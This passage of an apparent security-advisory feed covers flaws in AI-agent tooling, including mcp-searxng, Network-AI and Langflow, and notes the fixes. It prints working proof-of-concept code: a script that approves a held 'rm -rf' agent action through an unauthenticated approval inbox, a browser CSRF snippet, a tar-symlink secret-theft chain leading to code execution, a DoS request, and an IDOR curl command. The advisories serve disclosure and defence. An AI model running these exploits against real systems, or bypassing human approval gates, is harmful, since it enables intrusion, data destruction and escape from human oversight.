    print(f"  DEFAULT_MAX_CONTENT_LENGTH_BYTES : {DEFAULT_MAX_CONTENT_LENGTH:,}", flush=True)
    print(f"  EVIL_BODY_SIZE_BYTES             : {BODY_SIZE_BYTES:,}", flush=True)
    print(f"  BYTES_OVER_LIMIT                 : +{BODY_SIZE_BYTES - DEFAULT_MAX_CONTENT_LENGTH:,}", flush=True)
    print(flush=True)

    # ------------------------------------------------------------------
    # Step 1: Start the malicious HTTP server
    # ------------------------------------------------------------------
    print(f"[*] Starting malicious HTTP server on 127.0.0.1:{EVIL_PORT} ...", flush=True)
    evil_thread = threading.Thread(target=run_evil_server, daemon=True)
    evil_thread.start()
    if not wait_for_port("127.0.0.1", EVIL_PORT, timeout=5):
        print("[ERROR] Malicious server failed to start within 5 s", flush=True)
        sys.exit(1)
    print("[+] Malicious server ready", flush=True)

    # ------------------------------------------------------------------
    # Step 2: Start mcp-searxng in HTTP mode
    # ------------------------------------------------------------------
    print(f"[*] Starting mcp-searxng HTTP server on 127.0.0.1:{MCP_PORT} ...", flush=True)
    env = {
        **os.environ,
        "MCP_HTTP_PORT"             : str(MCP_PORT),
        "MCP_HTTP_HOST"             : "127.0.0.1",
        "SEARXNG_URL"               : "http://127.0.0.1:8080",   # not used in this test
        # Allow 127.x URLs so the PoC can point at the local malicious server.
        # (Real attacks target public servers — this env var enables local reproduction.)
        "MCP_HTTP_ALLOW_PRIVATE_URLS": "true",
        "NODE_ENV"                  : "production",
    }
    proc = subprocess.Popen(
        ["node", "/app/dist/cli.js"],
        env=env,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
    )

    def stream_server_logs():
        for line in proc.stdout:
            print(f"[MCP-SERVER] {line.decode(errors='replace').rstrip()}", flush=True)

    log_thread = threading.Thread(target=stream_server_logs, daemon=True)
    log_thread.start()

    if not wait_for_port("127.0.0.1", MCP_PORT, timeout=20):
        print("[ERROR] mcp-searxng HTTP server failed to start within 20 s", flush=True)
        proc.terminate()
        sys.exit(1)
    print("[+] mcp-searxng HTTP server ready", flush=True)

    mcp_url = f"http://127.0.0.1:{MCP_PORT}/mcp"

    # ------------------------------------------------------------------
    # Step 3: Initialize MCP session
    # ------------------------------------------------------------------
    print("[*] Initializing MCP session ...", flush=True)
    init_body, init_ct, session_id = http_post(
        mcp_url,
        payload={
            "jsonrpc": "2.0",
            "id": 1,
            "method": "initialize",
            "params": {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "vuln002-poc", "version": "1.0"},
            },
        },
    )
    init_resp = parse_mcp_response(init_body, init_ct)
    if not init_resp or "result" not in init_resp:
        print(f"[ERROR] initialize failed: {init_body[:400]}", flush=True)
        proc.terminate()
        sys.exit(1)
    print(f"[+] Session initialized. session_id={session_id}", flush=True)

    # Send notifications/initialized (no response expected — ignore errors)
    try:
        http_post(
            mcp_url,
            session_id=session_id,
            payload={"jsonrpc": "2.0", "method": "notifications/initialized"},
            timeout=10,
        )
    except Exception:
        pass  # 202 with empty body or similar non-error responses

    # ------------------------------------------------------------------
    # Step 4: Call web_url_read pointing at the malicious server
    # ------------------------------------------------------------------
    evil_url = f"http://127.0.0.1:{EVIL_PORT}/"
    print(flush=True)
    print(f"[*] Calling web_url_read with URL: {evil_url}", flush=True)
    print(f"    HEAD response will have NO Content-Length", flush=True)
    print(f"    => checkContentLength() returns null", flush=True)
    print(f"    => guard at url-reader.ts:359 is bypassed", flush=True)
    print(f"    => response.text() at url-reader.ts:414 reads ALL {BODY_SIZE_BYTES:,} bytes", flush=True)

    t_start = time.monotonic()
    try:
        tool_body, tool_ct, _ = http_post(
            mcp_url,
            session_id=session_id,
            payload={
                "jsonrpc": "2.0",
                "id": 2,
                "method": "tools/call",
                "params": {
                    "name": "web_url_read",
                    "arguments": {"url": evil_url, "maxLength": 1},
                },
            },
            timeout=120,
        )
        elapsed = time.monotonic() - t_start
        tool_resp = parse_mcp_response(tool_body, tool_ct)
    except urllib.error.HTTPError as e:
        elapsed = time.monotonic() - t_start
        tool_resp = parse_mcp_response(e.read(), e.headers.get("content-type", ""))
    except Exception as e:
        elapsed = time.monotonic() - t_start
        print(f"[WARN] tool call exception: {e}", flush=True)
        tool_resp = None

    # Give the evil server thread a moment to flush its final log
    time.sleep(0.5)

    # ------------------------------------------------------------------
    # Step 5: Collect and report evidence
    # ------------------------------------------------------------------
    print(flush=True)
    print("=" * 72, flush=True)
    print("[EVIDENCE]", flush=True)
    print(f"  HEAD_REQUESTS              : {g_head_count}", flush=True)
    print(f"  GET_REQUESTS               : {g_get_count}", flush=True)
    print(f"  GET_BYTES_SENT             : {g_bytes_sent:,}", flush=True)
    print(f"  CONFIGURED_DEFAULT_LIMIT   : {DEFAULT_MAX_CONTENT_LENGTH:,}", flush=True)
    print(
        f"  BYTES_OVER_LIMIT           : {g_bytes_sent - DEFAULT_MAX_CONTENT_LENGTH:+,}",
        flush=True,
    )
    print(f"  ELAPSED_SEC                : {elapsed:.2f}", flush=True)

    if tool_resp:
        if "error" in tool_resp:
            err = tool_resp["error"]
            print(
                f"  TOOL_STATUS                : ERROR code={err.get('code')} "
                f"msg={str(err.get('message', ''))[:120]}",
                flush=True,
            )
        elif "result" in tool_resp:
            content = tool_resp["result"].get("content", [])
            text = content[0].get("text", "") if content else ""
            print(f"  TOOL_STATUS                : SUCCESS", flush=True)
            print(f"  RETURNED_LENGTH_CHARS      : {len(text)}", flush=True)
            print(f"  RETURNED_EXCERPT           : {repr(text[:80])}", flush=True)
    else:
        print(f"  TOOL_STATUS                : (raw) {tool_body[:200] if tool_body else b''}", flush=True)

    print("=" * 72, flush=True)

    # ------------------------------------------------------------------
    # Verdict
    # ------------------------------------------------------------------
    bypass_confirmed = g_bytes_sent > DEFAULT_MAX_CONTENT_LENGTH

    if bypass_confirmed:
        print(flush=True)
        print("[PASS] VULNERABILITY CONFIRMED", flush=True)
        print(
            f"  {g_bytes_sent:,} bytes were transmitted to mcp-searxng despite a "
            f"{DEFAULT_MAX_CONTENT_LENGTH:,}-byte ({DEFAULT_MAX_CONTENT_LENGTH // (1024*1024)} MiB) limit.",
            flush=True,
        )
        print(f"  Root cause confirmed:", flush=True)
        print(f"    1. HEAD response had no Content-Length header.", flush=True)
        print(f"    2. checkContentLength() returned null  (url-reader.ts:243-245)", flush=True)
        print(f"    3. Guard condition was false (null !== null => false) (url-reader.ts:359)", flush=True)
        print(f"    4. response.text() read {g_bytes_sent:,} bytes without a cap (url-reader.ts:414)", flush=True)
        proc.terminate()
        sys.exit(0)
    else:
        print(flush=True)
        if g_get_count == 0:
            print("[FAIL] GET request was never received — mcp-searxng did not fetch from the evil server", flush=True)
        else:
            print(
                f"[FAIL] GET request received but bytes_sent={g_bytes_sent:,}]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:02 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Network-AI: ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions ]]></title>
                <link>https://github.com/advisories/GHSA-mxjx-28vx-xjjj</link>
                <description><![CDATA[## Summary

`network-ai`'s `ApprovalInbox` (`lib/approval-inbox.ts`) is a shipped, exported, documented feature — *"a web-accessible approval queue with REST API … and SSE streaming"* (SECURITY.md). It is the network surface of the **human-in-the-loop Approval Gate**, which `ApprovalGate` uses to require explicit human approval for *"high-risk operations (writes, shell commands, budget spend)"* (SECURITY.md). The HTTP server it exposes has **no authentication of any kind** and sets **`Access-Control-Allow-Origin: *`** on every route, including the state-changing `POST /approvals/:id/approve` and `/deny`.

As a result, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, **or any website the operator visits in a browser (via the wildcard CORS)** — can **enumerate pending approvals and approve them**, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent.

This is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) — the auxiliary `ApprovalInbox` server never received that hardening.

- **Affected:** `network-ai  {
    ...
    res.setHeader('Access-Control-Allow-Origin', '*');          // 256   {
      const approvedBy = typeof body.approvedBy === 'string' ? body.approvedBy : 'anonymous';  // defaults to 'anonymous'
      const entry = this.approve(approveMatch[1], approvedBy, reason);  // resolves the gate -> action proceeds
      ...
    });
  }
}
```

`approve()` resolves the pending promise that `ApprovalGate` is awaiting, so the gated action proceeds:

```js
// lib/approval-inbox.ts:172-183 / 327-339
approve(id, approvedBy, reason) {
  ...
  return this.resolve(id, 'approved', { approved: true, approvedBy, reason });  // promise -> {approved:true}
}
```

`startServer()` binds the handler (default `127.0.0.1`, but any host the caller passes):

```js
// lib/approval-inbox.ts:281-286
startServer(port, hostname = '127.0.0.1') {
  const server = createServer(this.httpHandler());
  server.listen(port, hostname);
  return server;
}
```

There is **no option** to supply a secret/token (unlike `McpSseServer`/`McpHttpServer`, which require one and fail closed), and the wildcard `ACAO: *` is hardcoded — an operator cannot configure their way out of it.

### Why the wildcard CORS matters

The two routes needed for exploitation are reachable cross-origin:
- `GET /approvals/?status=pending` is a CORS *simple request*; `ACAO: *` lets a malicious page **read** the response and learn the pending approval ids.
- `POST /approvals/:id/approve` with `Content-Type: application/json` triggers a preflight, which succeeds because the server answers `OPTIONS` with `ACAO: *`, `Access-Control-Allow-Methods: …POST…`, and `Access-Control-Allow-Headers: Content-Type`. The browser then sends the approve. `approvedBy` defaults to `'anonymous'`, so no special body is required.

So a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions.

## Proof of Concept

Self-contained against the **published `network-ai@5.11.0`** package (no project files needed; re-confirmed 2026-06-17). It starts the documented `ApprovalInbox` server, has an agent submit a high-risk gated action, then acts as an **unauthenticated** client.

```bash
mkdir na-poc && cd na-poc && npm init -y >/dev/null && npm i network-ai@5.11.0
node poc.mjs
```
`poc.mjs`:
```js
import { ApprovalInbox } from "network-ai";
import http from "node:http";

const PORT = 7798;
const req = (method, path, body) => new Promise((resolve, reject) => {        // plain client — NO Authorization header
  const data = body ? JSON.stringify(body) : undefined;
  const r = http.request({ host: "127.0.0.1", port: PORT, method, path,
    headers: data ? { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) } : {} },
    (res) => { let b = ""; res.on("data", c => b += c); res.on("end", () => { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); });
  r.on("error", reject); if (data) r.write(data); r.end();
});

const inbox = new ApprovalInbox();
const gate = inbox.callback();                                 // what ApprovalGate calls before a dangerous action
inbox.startServer(PORT, "127.0.0.1");                          // the documented "web-accessible approval queue"
await new Promise(r => setTimeout(r, 150));

let resolved = false;
const decisionP = gate({ action: "shell_execute", target: "rm -rf /important/data",
  agentId: "worker-1", justification: "cleanup", riskLevel: "high" }).then(d => (resolved = true, d));
console.log("Gated dangerous action pending human approval. resolved =", resolved);

const list = await req("GET", "/approvals/?status=pending");   // attacker enumerates pending approvals
const id = list.json[0].id;
const approve = await req("POST", `/approvals/${id}/approve`, { approvedBy: "attacker" });  // and approves one
console.log("[attacker] GET /approvals/  (no auth) ->", list.status, "ids:", list.json.map(e => e.id));
console.log("[attacker] POST /approvals/" + id + "/approve (no auth) ->", approve.status, approve.json?.status);
const decision = await decisionP;
console.log(">>> gate decision delivered to agent:", JSON.stringify(decision), "| WIPED WITHOUT AUTH:", decision.approved && resolved);
```
Output:
```
Gated dangerous action pending human approval. resolved = false
[attacker] GET /approvals/  (no auth) -> 200 ids: [ '07d6f277efe35ac1' ]
[attacker] POST /approvals/07d6f277efe35ac1/approve (no auth) -> 200 approved
>>> gate decision delivered to agent: {"approved":true,"approvedBy":"attacker"} | WIPED WITHOUT AUTH: true
```

The gated action (`shell_execute: rm -rf /important/data`, `riskLevel: high`) is approved by a client that sent **no `Authorization` header**, and the `ApprovalGate` promise resolves `{ approved: true }` — the agent proceeds.

Browser CSRF variant (no tooling, just a visited page):
```html

fetch('http://127.0.0.1:PORT/approvals/?status=pending')      // ACAO:* -> readable
  .then(r => r.json())
  .then(list => list.forEach(e =>
    fetch(`http://127.0.0.1:PORT/approvals/${e.id}/approve`, {
      method: 'POST', headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ approvedBy: 'attacker' })          // preflight passes via ACAO:*
    })));

```

## Impact

The Approval Gate is the package's human-in-the-loop safety control for high-risk agent operations (shell commands, file writes, budget spend — SECURITY.md). Unauthenticated, cross-origin access to its inbox lets an attacker:
- **Approve** any pending gated action → the agent executes an operation that was explicitly held for human review (integrity/availability impact; the gated action is whatever the agent proposed).
- **Read** pending requests (`GET /approvals`, `/stats`) → disclosure of queued action details (command strings, file paths, justifications).
- **Deny** pending actions → suppress legitimate operations.

The attacker controls the *approval decision*, not the action content, but the net effect is that the human-in-the-loop guarantee is void for any deployment that exposes the inbox — which is the inbox's documented purpose ("web-accessible approval queue").

## Alignment with the security policy & documentation (in scope; not intended/documented behavior)

This finding does not contradict any documented design choice — it exposes a gap the documentation overlooks, and it matches a vulnerability class the maintainer has already accepted:

- **Documented as a *security measure*, never as intentionally unauthenticated.** `SECURITY.md` lists the Approval Inbox under "Security Measures in Network-AI" — *"`ApprovalInbox` provides a web-accessible approval queue with REST API (`/list`, `/approve/:id`, `/deny/:id`, `/stats`)"* — and `README.md` / `ENTERPRISE.md` describe it the same way. **No** document states it requires authentication, nor that the operator must place it behind their own auth. A documented security control (human-in-the-loop approval for *"writes, shell commands, budget spend"*) that anyone can bypass without credentials is a defect in that control, not its intended behavior.
- **The project's own threat model treats this exact adversary as in scope.** `THREAT_MODEL.md` §3.1 designs against an *"Unauthenticated Network Caller"* that can reach a bound TCP port, with mitigations: *require a non-empty secret, default to `127.0.0.1`, warn on non-loopback bind.* It applies all of these to the MCP server — but it **never lists `ApprovalInbox` as a network boundary at all** (an omission, not a carve-out), and the inbox has **none** of those mitigations.
- **Direct precedent — the maintainer already fixed this class.** The identical issue on the MCP server was accepted and patched: **GHSA-j3vx-cx2r-pvg8** ("Unauthenticated Cross-Origin MCP Tool Invocation," fixed in v5.4.5 by requiring a secret and **restricting CORS to localhost origins**) and **GHSA-r78r-rwrf-rjwp** (fail-closed on empty secret, v5.7.2). The `ApprovalInbox` is a second network-reachable server with the same flaw; it simply never received that hardening.
- **No carve-out covers it.** The threat model's Explicit Non-Goals (localhost-IPC encryption, SLA, anti-analysis, npm-registry compromise) don't apply, and the documented ClawHub "by-design" Notes (ASI01 goal-hijack, ASI03 advisory tokens, ASI06 context poisoning, ASI07 *inter-agent messaging*) are unrelated — the approval inbox is a **control plane**, not inter-agent transport.
- **The operator cannot fix it within the library.** Unlike the MCP server (which now *accepts* a secret), `ApprovalInbox` exposes **no** auth option and **hardcodes** `Access-Control-Allow-Origin: *`. So "the operator should add auth / restrict CORS" is not available — there is no hook to do so. And "it's opt-in / operator-exposed" did not exempt the MCP server, which is equally optional and explicitly started.

**Honest scope caveat (state it plainly in the report).** `ApprovalInbox.startServer()` is opt-in (not auto-started by a CLI bin) and defaults to `127.0.0.1`, so the realistic vectors are (a) the wildcard-CORS drive-by from a page the operator visits, (b) a co-located/SSRF local process, or (c) a non-loopback bind. That bounds severity to Medium–High — but it is squarely the same class, on the same kind of surface, that the project's threat model and prior advisories already treat as a vulnerability.

## Recommended fix

1. **Require a bearer secret** on the inbox HTTP server, fail closed on empty secret, and verify it on `/approve`, `/deny`, and ideally the list/stats/SSE routes — mirroring the hardening already applied to `McpSseServer`/`McpHttpServer`.
2. **Remove the hardcoded `Access-Control-Allow-Origin: *`**; default to no CORS (same-origin) or an explicit allowlist, and never reflect `*` on the mutating routes.
3. Optionally add a CSRF token / require a non-simple custom header on `POST` to block browser-driven approval.

## References
- [CWE-862](https://cwe.mitre.org/data/definitions/862.html), [CWE-352](https://cwe.mitre.org/data/definitions/352.html)
- Affected: `lib/approval-inbox.ts` (`httpHandler` l.256 CORS, `routeRequest` l.369-405 no-auth approve/deny, `startServer` l.281); exported at `index.ts:1126`.
- Same class as prior **accepted** advisories: GHSA-fj4g-2p96-q6m3 (MCP missing auth, fixed v5.1.3), GHSA-j3vx-cx2r-pvg8 (MCP unauthenticated cross-origin invocation — fixed v5.4.5 by requiring a secret + restricting CORS to localhost), GHSA-r78r-rwrf-rjwp (MCP fail-closed on empty secret, v5.7.2). The `ApprovalInbox` server never received this hardening.
- Documentation this finding is measured against: `SECURITY.md` (Approval Inbox listed under "Security Measures"; Approval Gate = human-in-the-loop for "writes, shell commands, budget spend"), `THREAT_MODEL.md` §3.1 ("Unauthenticated Network Caller" adversary + its mitigations), `README.md` / `ENTERPRISE.md` ("web-accessible approval queue"). None document the inbox as intentionally unauthenticated or require operator-supplied auth.
- Disclosure: GitHub private security advisory (Jovancoding/Network-AI → Security → "Report a vulnerability"), per SECURITY.md.


---

### Resolution (maintainer)

**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.

`ApprovalInbox` now accepts a `secret` option. When set, the mutating endpoints `POST /:id/approve` and `POST /:id/deny` require an `Authorization: Bearer ` header, validated in constant time with `crypto.timingSafeEqual`. `startServer()` already binds to `127.0.0.1` by default; operators exposing the inbox on a network must set a secret.

All 3,269 tests pass against the patched build. Thanks to @EchoSkorJjj for the responsible disclosure.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:02 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Langflow: BaseFileComponent-based nodes arbitrary file read with RCE exploit]]></title>
                <link>https://github.com/advisories/GHSA-ccv6-r384-xp75</link>
                <description><![CDATA[### Summary
All components based on `BaseFileComponent` are vulnerable to the following vulnerability:
1. Docling (`DoclingInlineComponent`)
2. Docling Serve (`DoclingRemoteComponent`)
3. Read File (`FileComponent`)
4. NVIDIA Retriever Extraction (`NvidiaIngestComponent`)
5. Video File (`VideoFileComponent`)
6. Unstructured API (`UnstructuredComponent`)

For clarity, from now on I'll only refer to Read File component.

The Read File node processes user-controlled files.
Example scenario is a RAG chatbot - a system that allows users of an organization to ask questions about documents saved in the organizations.

By controlling a files that are digested into the RAG, an attacker can direct the node to read *any* file on the file-system by absolute path.

Using this vulnerability an attacker can acheive RCE:
1. Upload a file that directs the node to read Langflow's `secret_key` file containing the JWT token secret.
2. This would allow the attacker then to simply task the Chatbot for the JWT secret.
3. Using this secret, the attacker then crafts a JWT token for any user-id, bypassing authentication.
4. Code execution is then trivial - simply create a new flow with "Python Interpreter" node, fill it with arbitrary Python code and execute it.

Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe

### Details
The vulnerability is in:
`langflow/src/lfx/src/lfx/base/data/base_file.py`
Specifically in `_unpack_bundle`. This function extracts tar files, which can contain a symlink.
This symlink can point to any file in the filesystem. Then, in `self.process_files()`, the file pointed by the symlink will be parsed and saved into the RAG.
This can be done with unlimited number of symlinks in the same tar which can also be useful in some scenarios.

Suggestd fix - iterate over the files and make sure all are regular files or directories.


### PoC
Reproduction:
1. Create a flow with Read File (or any other affected components), and connect its output to some storage such as Chroma DB.
2. Create a symlink pointing to any file. For the above exploit, point the symlink to langflow's JWT token file.
3. Compress this symlink with tar.
4. Upload it to the Read File component.
5. Check the database, or ask a Chatbot connected to this vector database for the contents of the file.


Concrete PoC:
------------

- Flow with RAG ingestion and a Chatbot around it: [Vector Store RAG.json](https://github.com/user-attachments/files/25159960/Vector.Store.RAG.json)
- Exploit tar: [archive.tar.txt](https://github.com/user-attachments/files/25159954/archive.tar.txt) (remove .txt, GitHub blocked .tar)
- Create a file `/tmp/trip.docx` with any contents in it
- Ingest the file in the flow above, and ask the Chatbot a question about this file.

A demo showing the attack:
https://github.com/user-attachments/assets/af00f700-f13f-4eac-848e-8afd11fb9297
In the demo the attacker steals `Langflow` secret key used to sign JWTs. The second stage of the attack, not shown in the demo, is using this key to sign a JWT token and executing Python code on the server using the Python code interpreter node.

### Impact
Any Langflow user using any of the above mentioned components to ingest user-controlled data is affected. Depending on exact scenario, the user can also be exposed to an RCE risk.


### Patches
Fixed in **1.9.2** via PR [#12945](https://github.com/langflow-ai/langflow/pull/12945). `BaseFileComponent._unpack_bundle` now rejects symlink and hardlink members (and any non-regular entries) during TAR extraction, with additional defensive symlink filtering during directory recursion and after extraction. Upgrade to **1.9.2 or later**.


Ori Lahav
Security Researcher @ Rubrik Inc.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:02 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Langflow: Unauthenticated DoS through multipart form boundary file upload]]></title>
                <link>https://github.com/advisories/GHSA-qwqc-p3q8-wcg9</link>
                <description><![CDATA[### Summary
An attacker can send a `/api/v1/files/upload/` request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. 

### Details
https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40

The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users. 

Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID. 

### PoC

An attacker makes this request to upload a file without valid authentication information or a valid flow ID: 

```
POST /api/v1/files/upload/test HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 3000192
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:7860
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryorGBAKSkv5wR6WqJ
Content-Disposition: form-data; name="file"; filename="dos.txt"
Content-Type: text/plain

DoS in progress!

------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------
```

Here is the request in python: 

```python
import requests

url = "http://127.0.0.1:7860/api/v1/files/upload/test"

headers = {
    "Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}

data = (
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
    "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
    "Content-Type: text/plain\r\n\r\n"
    "DoS in progress\r\n"
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)

response = requests.post(url, headers=headers, data=data)
```

The app will then be stuck in the "server is busy" state for all users:



### Impact
Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want.

### Patches
Fixed in **1.0.19** via PR [#3923](https://github.com/langflow-ai/langflow/pull/3923). A `check_boundary` HTTP middleware was added that validates the multipart boundary (`^[\w\-]{1,70}$`) and rejects malformed requests — including the oversized-hyphen payload — with `HTTP 422` **before** the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (`get_current_active_user` + `403` on mismatch), closing the unauthenticated access vector. Upgrade to **1.0.19 or later**.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:02 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2026-50519: Initialization of a resource with an insecure default in GitHub Copilot and Visual Studio Code allows an unauthorized at]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2026-50519</link>
                <description><![CDATA[Initialization of a resource with an insecure default in GitHub Copilot and Visual Studio Code allows an unauthorized attacker to disclose information over a network.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 18:00:47 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Langflow: Logout button does not clear session]]></title>
                <link>https://github.com/advisories/GHSA-7hw8-6q6r-4276</link>
                <description><![CDATA[### Summary
The logout button does not clear the session. The previous user stays logged in unless another user explicitly logs in.

### Details
Not in auto login mode. Hosted on localhost. `access_token_lf` remains present in both Local Storage and Cookies. `refresh_token_lf` remains present in Cookies.

**Root cause:** the `/logout` endpoint deleted the authentication cookies without matching the original `httponly`/`samesite`/`secure`/`domain` parameters, so the browser kept them; additionally the frontend did not clear the auth cookies on logout.

```
LANGFLOW_AUTO_LOGIN: "False"
LANGFLOW_SUPERUSER: 
LANGFLOW_SUPERUSER_PASSWORD: 
LANGFLOW_SECRET_KEY: 
LANGFLOW_NEW_USER_IS_ACTIVE: "False"
LANGFLOW_ENABLE_SUPERUSER_CLI: "False"
```

### PoC
Click Logout. Hit refresh to return to previous screen.

### Impact
Users on shared computers may falsely believe they have terminated their session.

### Patches
Fixed in **1.7.0** (PRs #10527 and #10528). The logout endpoint now deletes the auth cookies using the same parameters they were created with, and the frontend clears the auth cookies on logout. Upgrade to **1.7.0 or later**.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:02 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2026-47645: Url redirection to untrusted site ('open redirect') in Microsoft 365 Copilot's Business Chat allows an unauthorized atta]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2026-47645</link>
                <description><![CDATA[Url redirection to untrusted site ('open redirect') in Microsoft 365 Copilot's Business Chat allows an unauthorized attacker to elevate privileges over a network.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 18:00:47 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow]]></title>
                <link>https://github.com/advisories/GHSA-qrpv-q767-xqq2</link>
                <description><![CDATA[## Summary

Insecure Direct Object Reference (IDOR) vulnerability in `/api/v1/responses` endpoint allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request.

## Details

The vulnerability exists in the `get_flow_by_id_or_endpoint_name` helper function in [`src/backend/base/langflow/helpers/flow.py` (lines 399-414)](https://github.com/langflow-ai/langflow/blob/v1.9.0/src/backend/base/langflow/helpers/flow.py#L399C1-L414C67).

When a flow is accessed via UUID (flow_id), the function queries the database directly without verifying if the authenticated user owns that flow:

```python
# src/backend/base/langflow/helpers/flow.py:399-414
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
    async with session_scope() as session:
        try:
            flow_id = UUID(flow_id_or_name)
            # When using UUID, query directly WITHOUT checking user_id
            flow = await session.get(Flow, flow_id)  # ❌ No user_id check!
        except ValueError:
            endpoint_name = flow_id_or_name
            stmt = select(Flow).where(Flow.endpoint_name == endpoint_name)
            # Only when using endpoint_name is user_id checked
            if user_id:
                stmt = stmt.where(Flow.user_id == uuid_user_id)
```

This function is used by the `/api/v1/responses` endpoint (defined in [`src/backend/base/langflow/api/v1/openai_responses.py:589`](https://github.com/langflow-ai/langflow/blob/v1.9.0/src/backend/base/langflow/api/v1/openai_responses.py#L589)).

## PoC (Proof of Concept)

```bash
# Attacker (user A) with API_KEY_A tries to execute victim (user B)'s flow
curl -X POST "http://localhost:7860/api/v1/responses" \
  -H "x-api-key: sk-ATTACKER_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "VICTIM_FLOW_ID",
    "input_value": "test",
    "stream": false
  }'
# Returns 200 and executes the victim's flow
```

## Impact

Any authenticated user can:
1. Execute any flow in the system by knowing its flow ID
2. Access potentially sensitive data processed by victim's flows
3. Consume victim's resources

## Fixes

Fixed in **PR #12832** (`fix(security): close IDOR in get_flow_by_id_or_endpoint_name`), merged 2026-04-22, released in **Langflow 1.9.1**.

The helper normalizes `user_id` once and enforces ownership on **both** lookup branches (UUID *and* `endpoint_name`):

```python
flow_id = UUID(flow_id_or_name)
flow = await session.get(Flow, flow_id)
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
    flow = None  # cross-user lookup falls through to the shared 404
```

Key points:
- Cross-user lookups return **404** (not 403), so flow existence is not disclosed via a 403-vs-404 oracle.
- `/api/v1/responses` and `/api/v2/workflow` pass `user_id` explicitly, so fixing the helper closes them directly; the `/api/v1/run*` routes were additionally moved from a bare `Depends(get_flow_by_id_or_endpoint_name)` to auth-aware wrapper dependencies (defense in depth).
- A malformed `user_id` now fails closed (404 instead of a raw 500).
- Webhook routes intentionally keep the unscoped lookup (public by design / explicit ownership check elsewhere).
- Regression tests cover the cross-user UUID case and reproduce the original PoC against `/api/v1/responses`.





## Acknowledgements

Thanks to the security researchers who responsibly disclosed this vulnerability:
* @yzeirnials
* @johnatzeropath
* @LeftenantZero
* @Zwique]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 01:00:02 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[CVE-2026-42895: Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an unaut]]></title>
                <link>https://nvd.nist.gov/vuln/detail/CVE-2026-42895</link>
                <description><![CDATA[Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an unauthorized attacker to perform tampering over a network.]]></description>
                <author><![CDATA[VulnWatch]]></author>
                <pubDate>Sat, 20 Jun 2026 18:00:47 +0000</pubDate>
                            </item>
                    <item>
                <title><![CDATA[dbt MCP Server: Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens]]></title>
                <link>https://github.com/advisories/GHSA-jr33-mw75-7j8f</link>
